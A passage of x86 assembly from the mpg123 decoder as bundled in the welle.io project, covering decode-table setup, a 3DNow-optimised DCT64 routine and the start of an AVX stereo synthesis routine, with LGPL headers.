.short -5153, -5517, -5879, -6237, -6589, -6935, -7271, -7597
.short -7910, -8209, -8491, -8755, -8998, -9219, -9416, -9585
.short -9727, -9838, -9916, -9959, -9966, -9935, -9863, -9750
.short -9592, -9389, -9139, -8840, -8492, -8092, -7640, -7134
.short -6574, -5959, -5288, -4561, -3776, -2935, -2037, -1082
.short -70, 998, 2122, 3300, 4533, 5818, 7154, 8540
.short 9975, 11455, 12980, 14548, 16155, 17799, 19478, 21189
.short 22929, 24694, 26482, 28289, 30112, 31947,-26209,-24360
.short -22511,-20664,-18824,-16994,-15179,-13383,-11610, -9863
.short -8147, -6466, -4822, -3222, -1667, -162, 1289, 2684
.short 4019, 5290, 6494, 7629, 8692, 9679, 10590, 11420
.short 12169, 12835, 13415, 13908, 14313, 14630, 14856, 14992
.short 15038
intwindiv:
.long 0x47800000 # 65536.0
.text
ALIGN32
/* void make_decode_tables_mmx_asm(long scaleval, float* decwin_mmx, float *decwins); */
.globl ASM_NAME(make_decode_tables_mmx_asm)
ASM_NAME(make_decode_tables_mmx_asm):
pushl %ebp
mov %esp,%ebp
sub $12,%esp
pushl %edi
pushl %esi
pushl %ebx
GET_GOT
lea LOCAL_VAR(intwinbase),%edi
mov LOCAL_VAR(intwindiv),%ecx
mov %edi,-4(%ebp)
lea 444(%edi),%eax
mov %eax,-8(%ebp)
mov %ecx,-12(%ebp)
/* stack: -12(%ebp)=*intwindiv, -8(%ebp)=intwinbase+444, -4(%ebp)=intwinbase, ... ,
4(%ebp)=back, 8(%ebp)=scaleval, 12(%ebp)=decwin_mmx, 16(%ebp)=decwins */
#define INTWINDIV -12(%ebp)
#define INTWINBASE_PLUS_444 -8(%ebp)
#define INTWINBASE -4(%ebp)
#define SCALEVAL 8(%ebp)
#define DECWIN_MMX 12(%ebp)
#define DECWINS 16(%ebp)
xorl %ecx,%ecx
xorl %ebx,%ebx
movl $32,%esi
negl SCALEVAL /* scaleval */
pushl $2 /* intwinbase step */
.L00:
cmpl $528,%ecx
jnc .L02
movswl (%edi),%eax
cmpl INTWINBASE_PLUS_444,%edi
jc .L01
addl $60000,%eax
.L01:
pushl %eax
fildl (%esp)
fdivs INTWINDIV
fimull SCALEVAL /* scaleval */
/* eax used to be popped the line before... I'll just use it here a bit */
movl DECWIN_MMX,%eax /* decwin_mmx */
fsts (%eax,%ecx,4)
fstps 64(%eax,%ecx,4)
popl %eax
.L02:
leal -1(%esi),%edx
andl %ebx,%edx
cmpl $31,%edx
jnz .L03
addl $-1023,%ecx
testl %esi,%ebx
jz .L03
negl SCALEVAL
.L03:
addl %esi,%ecx
addl (%esp),%edi
incl %ebx
cmpl INTWINBASE,%edi
jz .L04
cmpl $256,%ebx
jnz .L00
negl (%esp)
jmp .L00
.L04:
popl %eax
xorl %ecx,%ecx
xorl %ebx,%ebx
pushl $2 /* paired with popl above */
.L05:
cmpl $528,%ecx
jnc .L11
movswl (%edi),%eax
cmpl INTWINBASE_PLUS_444,%edi
jc .L06
addl $60000,%eax
.L06:
cltd
imull SCALEVAL
shrdl $17,%edx,%eax
cmpl $32767,%eax
movl $1055,%edx
jle .L07
movl $32767,%eax
jmp .L08
.L07:
cmpl $-32767,%eax
jge .L08
movl $-32767,%eax
.L08:
/* going to use ebx for decwins, watch the jumps */
pushl %ebx
movl DECWINS,%ebx
cmpl $512,%ecx
jnc .L09
subl %ecx,%edx
movw %ax,(%ebx,%edx,2) /* decwins */
movw %ax,-32(%ebx,%edx,2)
.L09:
testl $1,%ecx
jnz .L10
negl %eax
.L10:
movw %ax,(%ebx,%ecx,2)
movw %ax,32(%ebx,%ecx,2)
popl %ebx /* that has to match the pushl before */
.L11:
leal -1(%esi),%edx
andl %ebx,%edx
cmpl $31,%edx
jnz .L12
addl $-1023,%ecx
testl %esi,%ebx
jz .L12
negl SCALEVAL
.L12:
addl %esi,%ecx
addl (%esp),%edi
incl %ebx
cmpl INTWINBASE,%edi
jz .L13
cmpl $256,%ebx
jnz .L05
negl (%esp)
jmp .L05
.L13:
popl %eax
popl %ebx
popl %esi
popl %edi
mov %ebp,%esp
pop %ebp
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 15,307 | src/libs/mpg123/dct64_3dnowext.S | /*
dct64_3dnowext: extended 3DNow optimized DCT64
copyright ?-2007 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
Transformed back into standalone asm, with help of
gcc -S -DHAVE_CONFIG_H -I. -march=k6-3 -O3 -Wall -pedantic -fno-strict-aliasing -DREAL_IS_FLOAT -c -o dct64_3dnowext.{S,c}
MPlayer comment follows.
*/
/*
* This code was taken from http://www.mpg123.org
* See ChangeLog of mpg123-0.59s-pre.1 for detail
* Applied to mplayer by Nick Kurshev <nickols_k@mail.ru>
* Partial 3dnowex-DSP! optimization by Nick Kurshev
*
* TODO: optimize scalar 3dnow! code
* Warning: Phases 7 & 8 are not tested
*/
#include "mangle.h"
.data
ALIGN4
/* .type plus_1f, @object
.size plus_1f, 4 */
plus_1f:
.long 1065353216
ALIGN8
/* .type x_plus_minus_3dnow, @object
.size x_plus_minus_3dnow, 8 */
x_plus_minus_3dnow:
.long 0
.long -2147483648
.text
ALIGN32
.globl ASM_NAME(dct64_3dnowext)
/* .type ASM_NAME(dct64_3dnowext), @function */
ASM_NAME(dct64_3dnowext):
pushl %ebp
movl %esp, %ebp
pushl %edi
pushl %esi
pushl %ebx
subl $260, %esp
GET_GOT
#if defined(OPT_X86) && defined(PIC)
movl _EBX_, (%esp) /* save PIC register */
#endif
/* APP */
movl 16(%ebp),%eax
leal 128+-268(%ebp),%edx
movl 8(%ebp),%esi
movl 12(%ebp),%edi
#if defined(PIC) && defined(__APPLE__)
movl GLOBAL_VAR_PTR(costab_mmxsse),%ebx
#else
leal GLOBAL_VAR(costab_mmxsse),%ebx
#endif
leal -268(%ebp),%ecx
movq (%eax), %mm0
movq 8(%eax), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 120(%eax), %mm1
pswapd 112(%eax), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, (%edx)
movq %mm4, 8(%edx)
pfsub %mm1, %mm3
pfsub %mm5, %mm7
pfmul (%ebx), %mm3
pfmul 8(%ebx), %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 120(%edx)
movq %mm7, 112(%edx)
movq 16(%eax), %mm0
movq 24(%eax), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 104(%eax), %mm1
pswapd 96(%eax), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 16(%edx)
movq %mm4, 24(%edx)
pfsub %mm1, %mm3
pfsub %mm5, %mm7
pfmul 16(%ebx), %mm3
pfmul 24(%ebx), %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 104(%edx)
movq %mm7, 96(%edx)
movq 32(%eax), %mm0
movq 40(%eax), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 88(%eax), %mm1
pswapd 80(%eax), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 32(%edx)
movq %mm4, 40(%edx)
pfsub %mm1, %mm3
pfsub %mm5, %mm7
pfmul 32(%ebx), %mm3
pfmul 40(%ebx), %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 88(%edx)
movq %mm7, 80(%edx)
movq 48(%eax), %mm0
movq 56(%eax), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 72(%eax), %mm1
pswapd 64(%eax), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 48(%edx)
movq %mm4, 56(%edx)
pfsub %mm1, %mm3
pfsub %mm5, %mm7
pfmul 48(%ebx), %mm3
pfmul 56(%ebx), %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 72(%edx)
movq %mm7, 64(%edx)
movq (%edx), %mm0
movq 8(%edx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 56(%edx), %mm1
pswapd 48(%edx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, (%ecx)
movq %mm4, 8(%ecx)
pfsub %mm1, %mm3
pfsub %mm5, %mm7
pfmul 64(%ebx), %mm3
pfmul 72(%ebx), %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 56(%ecx)
movq %mm7, 48(%ecx)
movq 16(%edx), %mm0
movq 24(%edx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 40(%edx), %mm1
pswapd 32(%edx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 16(%ecx)
movq %mm4, 24(%ecx)
pfsub %mm1, %mm3
pfsub %mm5, %mm7
pfmul 80(%ebx), %mm3
pfmul 88(%ebx), %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 40(%ecx)
movq %mm7, 32(%ecx)
movq 64(%edx), %mm0
movq 72(%edx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 120(%edx), %mm1
pswapd 112(%edx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 64(%ecx)
movq %mm4, 72(%ecx)
pfsubr %mm1, %mm3
pfsubr %mm5, %mm7
pfmul 64(%ebx), %mm3
pfmul 72(%ebx), %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 120(%ecx)
movq %mm7, 112(%ecx)
movq 80(%edx), %mm0
movq 88(%edx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 104(%edx), %mm1
pswapd 96(%edx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 80(%ecx)
movq %mm4, 88(%ecx)
pfsubr %mm1, %mm3
pfsubr %mm5, %mm7
pfmul 80(%ebx), %mm3
pfmul 88(%ebx), %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 104(%ecx)
movq %mm7, 96(%ecx)
movq 96(%ebx), %mm2
movq 104(%ebx), %mm6
movq (%ecx), %mm0
movq 8(%ecx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 24(%ecx), %mm1
pswapd 16(%ecx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, (%edx)
movq %mm4, 8(%edx)
pfsub %mm1, %mm3
pfsub %mm5, %mm7
pfmul %mm2, %mm3
pfmul %mm6, %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 24(%edx)
movq %mm7, 16(%edx)
movq 32(%ecx), %mm0
movq 40(%ecx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 56(%ecx), %mm1
pswapd 48(%ecx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 32(%edx)
movq %mm4, 40(%edx)
pfsubr %mm1, %mm3
pfsubr %mm5, %mm7
pfmul %mm2, %mm3
pfmul %mm6, %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 56(%edx)
movq %mm7, 48(%edx)
movq 64(%ecx), %mm0
movq 72(%ecx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 88(%ecx), %mm1
pswapd 80(%ecx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 64(%edx)
movq %mm4, 72(%edx)
pfsub %mm1, %mm3
pfsub %mm5, %mm7
pfmul %mm2, %mm3
pfmul %mm6, %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 88(%edx)
movq %mm7, 80(%edx)
movq 96(%ecx), %mm0
movq 104(%ecx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 120(%ecx), %mm1
pswapd 112(%ecx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 96(%edx)
movq %mm4, 104(%edx)
pfsubr %mm1, %mm3
pfsubr %mm5, %mm7
pfmul %mm2, %mm3
pfmul %mm6, %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 120(%edx)
movq %mm7, 112(%edx)
movq 112(%ebx), %mm2
movq (%edx), %mm0
movq 16(%edx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 8(%edx), %mm1
pswapd 24(%edx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, (%ecx)
movq %mm4, 16(%ecx)
pfsub %mm1, %mm3
pfsubr %mm5, %mm7
pfmul %mm2, %mm3
pfmul %mm2, %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 8(%ecx)
movq %mm7, 24(%ecx)
movq 32(%edx), %mm0
movq 48(%edx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 40(%edx), %mm1
pswapd 56(%edx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 32(%ecx)
movq %mm4, 48(%ecx)
pfsub %mm1, %mm3
pfsubr %mm5, %mm7
pfmul %mm2, %mm3
pfmul %mm2, %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 40(%ecx)
movq %mm7, 56(%ecx)
movq 64(%edx), %mm0
movq 80(%edx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 72(%edx), %mm1
pswapd 88(%edx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 64(%ecx)
movq %mm4, 80(%ecx)
pfsub %mm1, %mm3
pfsubr %mm5, %mm7
pfmul %mm2, %mm3
pfmul %mm2, %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 72(%ecx)
movq %mm7, 88(%ecx)
movq 96(%edx), %mm0
movq 112(%edx), %mm4
movq %mm0, %mm3
movq %mm4, %mm7
pswapd 104(%edx), %mm1
pswapd 120(%edx), %mm5
pfadd %mm1, %mm0
pfadd %mm5, %mm4
movq %mm0, 96(%ecx)
movq %mm4, 112(%ecx)
pfsub %mm1, %mm3
pfsubr %mm5, %mm7
pfmul %mm2, %mm3
pfmul %mm2, %mm7
pswapd %mm3, %mm3
pswapd %mm7, %mm7
movq %mm3, 104(%ecx)
movq %mm7, 120(%ecx)
#if defined(OPT_X86) && defined(PIC)
#undef _EBX_
#define _EBX_ %eax
movl (%esp), _EBX_
#endif
movd LOCAL_VAR(plus_1f), %mm6
punpckldq 120(%ebx), %mm6
movq LOCAL_VAR(x_plus_minus_3dnow), %mm7
movq 32(%ecx), %mm0
movq 64(%ecx), %mm2
movq %mm0, %mm1
movq %mm2, %mm3
pxor %mm7, %mm1
pxor %mm7, %mm3
pfacc %mm1, %mm0
pfacc %mm3, %mm2
pfmul %mm6, %mm0
pfmul %mm6, %mm2
movq %mm0, 32(%edx)
movq %mm2, 64(%edx)
movd 44(%ecx), %mm0
movd 40(%ecx), %mm2
movd 120(%ebx), %mm3
punpckldq 76(%ecx), %mm0
punpckldq 72(%ecx), %mm2
punpckldq %mm3, %mm3
movq %mm0, %mm4
movq %mm2, %mm5
pfsub %mm2, %mm0
pfmul %mm3, %mm0
movq %mm0, %mm1
pfadd %mm5, %mm0
pfadd %mm4, %mm0
movq %mm0, %mm2
punpckldq %mm1, %mm0
punpckhdq %mm1, %mm2
movq %mm0, 40(%edx)
movq %mm2, 72(%edx)
movd 48(%ecx), %mm3
movd 60(%ecx), %mm2
pfsub 52(%ecx), %mm3
pfsub 56(%ecx), %mm2
pfmul 120(%ebx), %mm3
pfmul 120(%ebx), %mm2
movq %mm2, %mm1
pfadd 56(%ecx), %mm1
pfadd 60(%ecx), %mm1
movq %mm1, %mm0
pfadd 48(%ecx), %mm0
pfadd 52(%ecx), %mm0
pfadd %mm3, %mm1
punpckldq %mm2, %mm1
pfadd %mm3, %mm2
punpckldq %mm2, %mm0
movq %mm1, 56(%edx)
movq %mm0, 48(%edx)
movd 92(%ecx), %mm1
pfsub 88(%ecx), %mm1
pfmul 120(%ebx), %mm1
movd %mm1, 92(%edx)
pfadd 92(%ecx), %mm1
pfadd 88(%ecx), %mm1
movq %mm1, %mm0
pfadd 80(%ecx), %mm0
pfadd 84(%ecx), %mm0
movd %mm0, 80(%edx)
movd 80(%ecx), %mm0
pfsub 84(%ecx), %mm0
pfmul 120(%ebx), %mm0
pfadd %mm0, %mm1
pfadd 92(%edx), %mm0
punpckldq %mm1, %mm0
movq %mm0, 84(%edx)
movq 96(%ecx), %mm0
movq %mm0, %mm1
pxor %mm7, %mm1
pfacc %mm1, %mm0
pfmul %mm6, %mm0
movq %mm0, 96(%edx)
movd 108(%ecx), %mm0
pfsub 104(%ecx), %mm0
pfmul 120(%ebx), %mm0
movd %mm0, 108(%edx)
pfadd 104(%ecx), %mm0
pfadd 108(%ecx), %mm0
movd %mm0, 104(%edx)
movd 124(%ecx), %mm1
pfsub 120(%ecx), %mm1
pfmul 120(%ebx), %mm1
movd %mm1, 124(%edx)
pfadd 120(%ecx), %mm1
pfadd 124(%ecx), %mm1
movq %mm1, %mm0
pfadd 112(%ecx), %mm0
pfadd 116(%ecx), %mm0
movd %mm0, 112(%edx)
movd 112(%ecx), %mm0
pfsub 116(%ecx), %mm0
pfmul 120(%ebx), %mm0
pfadd %mm0,%mm1
pfadd 124(%edx), %mm0
punpckldq %mm1, %mm0
movq %mm0, 116(%edx)
jnz .L01
movd (%ecx), %mm0
pfadd 4(%ecx), %mm0
movd %mm0, 1024(%esi)
movd (%ecx), %mm0
pfsub 4(%ecx), %mm0
pfmul 120(%ebx), %mm0
movd %mm0, (%esi)
movd %mm0, (%edi)
movd 12(%ecx), %mm0
pfsub 8(%ecx), %mm0
pfmul 120(%ebx), %mm0
movd %mm0, 512(%edi)
pfadd 12(%ecx), %mm0
pfadd 8(%ecx), %mm0
movd %mm0, 512(%esi)
movd 16(%ecx), %mm0
pfsub 20(%ecx), %mm0
pfmul 120(%ebx), %mm0
movq %mm0, %mm3
movd 28(%ecx), %mm0
pfsub 24(%ecx), %mm0
pfmul 120(%ebx), %mm0
movd %mm0, 768(%edi)
movq %mm0, %mm2
pfadd 24(%ecx), %mm0
pfadd 28(%ecx), %mm0
movq %mm0, %mm1
pfadd 16(%ecx), %mm0
pfadd 20(%ecx), %mm0
movd %mm0, 768(%esi)
pfadd %mm3, %mm1
movd %mm1, 256(%esi)
pfadd %mm3, %mm2
movd %mm2, 256(%edi)
movq 32(%edx), %mm0
movq 48(%edx), %mm1
pfadd 48(%edx), %mm0
pfadd 40(%edx), %mm1
movd %mm0, 896(%esi)
movd %mm1, 640(%esi)
psrlq $32, %mm0
psrlq $32, %mm1
movd %mm0, 128(%edi)
movd %mm1, 384(%edi)
movd 40(%edx), %mm0
pfadd 56(%edx), %mm0
movd %mm0, 384(%esi)
movd 56(%edx), %mm0
pfadd 36(%edx), %mm0
movd %mm0, 128(%esi)
movd 60(%edx), %mm0
movd %mm0, 896(%edi)
pfadd 44(%edx), %mm0
movd %mm0, 640(%edi)
movq 96(%edx), %mm0
movq 112(%edx), %mm2
movq 104(%edx), %mm4
pfadd 112(%edx), %mm0
pfadd 104(%edx), %mm2
pfadd 120(%edx), %mm4
movq %mm0, %mm1
movq %mm2, %mm3
movq %mm4, %mm5
pfadd 64(%edx), %mm0
pfadd 80(%edx), %mm2
pfadd 72(%edx), %mm4
movd %mm0, 960(%esi)
movd %mm2, 704(%esi)
movd %mm4, 448(%esi)
psrlq $32, %mm0
psrlq $32, %mm2
psrlq $32, %mm4
movd %mm0, 64(%edi)
movd %mm2, 320(%edi)
movd %mm4, 576(%edi)
pfadd 80(%edx), %mm1
pfadd 72(%edx), %mm3
pfadd 88(%edx), %mm5
movd %mm1, 832(%esi)
movd %mm3, 576(%esi)
movd %mm5, 320(%esi)
psrlq $32, %mm1
psrlq $32, %mm3
psrlq $32, %mm5
movd %mm1, 192(%edi)
movd %mm3, 448(%edi)
movd %mm5, 704(%edi)
movd 120(%edx), %mm0
pfadd 100(%edx), %mm0
movq %mm0, %mm1
pfadd 88(%edx), %mm0
movd %mm0, 192(%esi)
pfadd 68(%edx), %mm1
movd %mm1, 64(%esi)
movd 124(%edx), %mm0
movd %mm0, 960(%edi)
pfadd 92(%edx), %mm0
movd %mm0, 832(%edi)
jmp .L_bye
.L01:
movq (%ecx), %mm0
movq %mm0, %mm1
pxor %mm7, %mm1
pfacc %mm1, %mm0
pfmul %mm6, %mm0
pf2iw %mm0, %mm0
movd %mm0, %eax
movw %ax, 512(%esi)
psrlq $32, %mm0
movd %mm0, %eax
movw %ax, (%esi)
movd 12(%ecx), %mm0
pfsub 8(%ecx), %mm0
pfmul 120(%ebx), %mm0
pf2iw %mm0, %mm7
movd %mm7, %eax
movw %ax, 256(%edi)
pfadd 12(%ecx), %mm0
pfadd 8(%ecx), %mm0
pf2iw %mm0, %mm0
movd %mm0, %eax
movw %ax, 256(%esi)
movd 16(%ecx), %mm3
pfsub 20(%ecx), %mm3
pfmul 120(%ebx), %mm3
movq %mm3, %mm2
movd 28(%ecx), %mm2
pfsub 24(%ecx), %mm2
pfmul 120(%ebx), %mm2
movq %mm2, %mm1
pf2iw %mm2, %mm7
movd %mm7, %eax
movw %ax, 384(%edi)
pfadd 24(%ecx), %mm1
pfadd 28(%ecx), %mm1
movq %mm1, %mm0
pfadd 16(%ecx), %mm0
pfadd 20(%ecx), %mm0
pf2iw %mm0, %mm0
movd %mm0, %eax
movw %ax, 384(%esi)
pfadd %mm3, %mm1
pf2iw %mm1, %mm1
movd %mm1, %eax
movw %ax, 128(%esi)
pfadd %mm3, %mm2
pf2iw %mm2, %mm2
movd %mm2, %eax
movw %ax, 128(%edi)
movq 32(%edx), %mm0
movq 48(%edx), %mm1
pfadd 48(%edx), %mm0
pfadd 40(%edx), %mm1
pf2iw %mm0, %mm0
pf2iw %mm1, %mm1
movd %mm0, %eax
movd %mm1, %ecx
movw %ax, 448(%esi)
movw %cx, 320(%esi)
psrlq $32, %mm0
psrlq $32, %mm1
movd %mm0, %eax
movd %mm1, %ecx
movw %ax, 64(%edi)
movw %cx, 192(%edi)
movd 40(%edx), %mm3
movd 56(%edx), %mm4
movd 60(%edx), %mm0
movd 44(%edx), %mm2
movd 120(%edx), %mm5
punpckldq %mm4, %mm3
punpckldq 124(%edx), %mm0
pfadd 100(%edx), %mm5
punpckldq 36(%edx), %mm4
punpckldq 92(%edx), %mm2
movq %mm5, %mm6
pfadd %mm4, %mm3
pf2iw %mm0, %mm1
pf2iw %mm3, %mm3
pfadd 88(%edx), %mm5
movd %mm1, %eax
movd %mm3, %ecx
movw %ax, 448(%edi)
movw %cx, 192(%esi)
pf2iw %mm5, %mm5
psrlq $32, %mm1
psrlq $32, %mm3
movd %mm5, %ebx
movd %mm1, %eax
movd %mm3, %ecx
movw %bx, 96(%esi)
movw %ax, 480(%edi)
movw %cx, 64(%esi)
pfadd %mm2, %mm0
pf2iw %mm0, %mm0
movd %mm0, %eax
pfadd 68(%edx), %mm6
movw %ax, 320(%edi)
psrlq $32, %mm0
pf2iw %mm6, %mm6
movd %mm0, %eax
movd %mm6, %ebx
movw %ax, 416(%edi)
movw %bx, 32(%esi)
movq 96(%edx), %mm0
movq 112(%edx), %mm2
movq 104(%edx), %mm4
pfadd %mm2, %mm0
pfadd %mm4, %mm2
pfadd 120(%edx), %mm4
movq %mm0, %mm1
movq %mm2, %mm3
movq %mm4, %mm5
pfadd 64(%edx), %mm0
pfadd 80(%edx), %mm2
pfadd 72(%edx), %mm4
pf2iw %mm0, %mm0
pf2iw %mm2, %mm2
pf2iw %mm4, %mm4
movd %mm0, %eax
movd %mm2, %ecx
movd %mm4, %ebx
movw %ax, 480(%esi)
movw %cx, 352(%esi)
movw %bx, 224(%esi)
psrlq $32, %mm0
psrlq $32, %mm2
psrlq $32, %mm4
movd %mm0, %eax
movd %mm2, %ecx
movd %mm4, %ebx
movw %ax, 32(%edi)
movw %cx, 160(%edi)
movw %bx, 288(%edi)
pfadd 80(%edx), %mm1
pfadd 72(%edx), %mm3
pfadd 88(%edx), %mm5
pf2iw %mm1, %mm1
pf2iw %mm3, %mm3
pf2iw %mm5, %mm5
movd %mm1, %eax
movd %mm3, %ecx
movd %mm5, %ebx
movw %ax, 416(%esi)
movw %cx, 288(%esi)
movw %bx, 160(%esi)
psrlq $32, %mm1
psrlq $32, %mm3
psrlq $32, %mm5
movd %mm1, %eax
movd %mm3, %ecx
movd %mm5, %ebx
movw %ax, 96(%edi)
movw %cx, 224(%edi)
movw %bx, 352(%edi)
movsw
.L_bye:
femms
/* NO_APP */
addl $260, %esp
popl %ebx
popl %esi
popl %edi
leave
ret
/* .size ASM_NAME(dct64_3dnowext), .-ASM_NAME(dct64_3dnowext) */
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__pointers,non_lazy_symbol_pointers
L_costab_mmxsse:
.indirect_symbol ASM_NAME(costab_mmxsse)
.long 0
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 6,269 | src/libs/mpg123/synth_stereo_avx.S | /*
synth_stereo_avx: AVX optimized synth for x86-64 (stereo specific version)
copyright 1995-2013 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* short *window; */
#define WINDOW %r10
/* short *b0l; */
#define B0L %rdx
/* short *b0r; */
#define B0R %r8
/* short *samples; */
#define SAMPLES %r9
#else
/* short *window; */
#define WINDOW %rdi
/* short *b0l; */
#define B0L %rsi
/* short *b0r; */
#define B0R %rdx
/* short *samples; */
#define SAMPLES %r9
#endif
/*
int synth_1to1_s_avx_asm(short *window, short *b0l, short *b0r, short *samples, int bo1);
return value: number of clipped samples
*/
ALIGN16
.globl ASM_NAME(synth_1to1_s_avx_asm)
ASM_NAME(synth_1to1_s_avx_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
push %rbp
mov %rsp, %rbp
sub $144, %rsp
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
movaps %xmm13, 112(%rsp)
movaps %xmm14, 128(%rsp)
movl 48(%rbp), %eax /* 5th argument; placed after 32-byte shadow space */
#endif
#ifdef IS_MSABI
shl $1, %eax
mov %rcx, WINDOW
#else
mov %r8d, %eax
shl $1, %eax
movq %rcx, SAMPLES
#endif
add $32, WINDOW
sub %rax, WINDOW
mov $64, %rax
movl $4, %ecx
vpxor %xmm14, %xmm14, %xmm14
ALIGN16
1:
movups (WINDOW), %xmm8
movups 16(WINDOW), %xmm9
movups (WINDOW,%rax), %xmm10
movups 16(WINDOW,%rax), %xmm11
vpmaddwd (B0L), %xmm8, %xmm0
vpmaddwd 16(B0L), %xmm9, %xmm1
vpmaddwd (B0R), %xmm8, %xmm2
vpmaddwd 16(B0R), %xmm9, %xmm3
vpmaddwd 32(B0L), %xmm10, %xmm4
vpmaddwd 48(B0L), %xmm11, %xmm5
vpmaddwd 32(B0R), %xmm10, %xmm6
vpmaddwd 48(B0R), %xmm11, %xmm7
vpaddd %xmm1, %xmm0, %xmm8
vpaddd %xmm3, %xmm2, %xmm0
vpaddd %xmm5, %xmm4, %xmm9
vpaddd %xmm7, %xmm6, %xmm1
lea (WINDOW,%rax,2), WINDOW
add %rax, B0L
add %rax, B0R
movups (WINDOW), %xmm10
movups 16(WINDOW), %xmm11
movups (WINDOW,%rax), %xmm12
movups 16(WINDOW,%rax), %xmm13
vpmaddwd (B0L), %xmm10, %xmm2
vpmaddwd 16(B0L), %xmm11, %xmm3
vpmaddwd (B0R), %xmm10, %xmm4
vpmaddwd 16(B0R), %xmm11, %xmm5
vpmaddwd 32(B0L), %xmm12, %xmm6
vpmaddwd 48(B0L), %xmm13, %xmm10
vpmaddwd 32(B0R), %xmm12, %xmm7
vpmaddwd 48(B0R), %xmm13, %xmm11
vpaddd %xmm3, %xmm2, %xmm2
vpaddd %xmm5, %xmm4, %xmm3
vpaddd %xmm6, %xmm10, %xmm4
vpaddd %xmm7, %xmm11, %xmm5
lea (WINDOW,%rax,2), WINDOW
add %rax, B0L
add %rax, B0R
vpunpckldq %xmm0, %xmm8, %xmm6
vpunpckhdq %xmm0, %xmm8, %xmm0
vpunpckldq %xmm1, %xmm9, %xmm7
vpunpckhdq %xmm1, %xmm9, %xmm1
vpaddd %xmm6, %xmm0, %xmm0
vpaddd %xmm7, %xmm1, %xmm1
vpunpckldq %xmm3, %xmm2, %xmm6
vpunpckhdq %xmm3, %xmm2, %xmm2
vpunpckldq %xmm5, %xmm4, %xmm7
vpunpckhdq %xmm5, %xmm4, %xmm3
vpaddd %xmm6, %xmm2, %xmm2
vpaddd %xmm7, %xmm3, %xmm3
vpunpcklqdq %xmm1, %xmm0, %xmm4
vpunpckhqdq %xmm1, %xmm0, %xmm0
vpunpcklqdq %xmm3, %xmm2, %xmm5
vpunpckhqdq %xmm3, %xmm2, %xmm1
vpaddd %xmm0, %xmm4, %xmm0
vpaddd %xmm1, %xmm5, %xmm1
vpsrad $13, %xmm0, %xmm0
vpsrad $13, %xmm1, %xmm1
vpackssdw %xmm1, %xmm0, %xmm2
vpcmpeqd %xmm3, %xmm3, %xmm3
vpslld $16, %xmm0, %xmm0
vpslld $16, %xmm1, %xmm1
vpsrld $16, %xmm0, %xmm0
vpsrld $16, %xmm1, %xmm1
vpackusdw %xmm1, %xmm0, %xmm0
vpcmpeqw %xmm2, %xmm0, %xmm0
vpxor %xmm3, %xmm0, %xmm0
vpaddw %xmm0, %xmm14, %xmm14
movups %xmm2, (SAMPLES)
